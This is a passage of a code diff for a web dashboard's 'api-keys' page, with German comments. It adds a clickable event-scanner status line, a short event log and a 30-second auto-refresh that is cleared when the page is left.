||||||
|
var last10 = logData.entries.slice(-10).reverse();
|
||||||
|
logLines = last10.map(function(e) {
|
||||||
|
var t = new Date(e.time).toLocaleTimeString();
|
||||||
|
var icon = e.type === 'key' ? '🔑' : e.type === 'error' ? '❌' : e.type === 'rate_limit' ? '⚠️' : '📡';
|
||||||
|
return icon + ' ' + t + ' ' + e.message;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// Immer klickbare Status-Zeile rendern
|
||||||
|
var wasOpen = false;
|
||||||
|
var oldLog = document.getElementById('eventScannerLog');
|
||||||
|
if (oldLog) wasOpen = oldLog.style.display !== 'none';
|
||||||
|
|
||||||
|
el.innerHTML = '';
|
||||||
|
var statusEl = document.createElement('div');
|
||||||
|
statusEl.style.cssText = 'cursor:pointer';
|
||||||
|
statusEl.title = logLines.length > 0 ? 'Klicken für Log' : '';
|
||||||
|
statusEl.textContent = statusLine;
|
||||||
|
el.appendChild(statusEl);
|
||||||
|
|
||||||
|
var logEl = document.createElement('div');
|
||||||
|
logEl.id = 'eventScannerLog';
|
||||||
|
logEl.style.cssText = 'white-space:pre-line;display:none';
|
||||||
|
logEl.textContent = logLines.length > 0 ? logLines.join('\n') : 'Noch keine Log-Einträge…';
|
||||||
|
if (wasOpen) logEl.style.display = 'block';
|
||||||
|
el.appendChild(logEl);
|
||||||
|
|
||||||
|
statusEl.addEventListener('click', function() {
|
||||||
|
logEl.style.display = logEl.style.display === 'none' ? 'block' : 'none';
|
||||||
|
});
|
||||||
|
} catch(e) { el.style.display = 'none'; }
|
||||||
|
}
|
||||||
|
|
||||||
async function updateScanStatus() {
|
async function updateScanStatus() {
|
||||||
try {
|
try {
|
||||||
var s = await apiScanStatus();
|
var s = await apiScanStatus();
|
||||||
@@ -515,9 +574,17 @@ registerPage('api-keys', {
|
|||||||
|
|
||||||
await loadScannedKeys();
|
await loadScannedKeys();
|
||||||
await updateScanStatus();
|
await updateScanStatus();
|
||||||
|
await updateEventScannerStatus();
|
||||||
|
|
||||||
|
// Event Scanner Status auto-refresh
|
||||||
|
var eventScannerTimer = setInterval(updateEventScannerStatus, 30000);
|
||||||
|
this._eventScannerTimer = eventScannerTimer;
|
||||||
},
|
},
|
||||||
|
|
||||||
destroy() {
|
destroy() {
|
||||||
// Polling stoppen wenn Seite verlassen wird
|
if (this._eventScannerTimer) {
|
||||||
|
clearInterval(this._eventScannerTimer);
|
||||||
|
this._eventScannerTimer = null;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
Reference in new issue
Block a user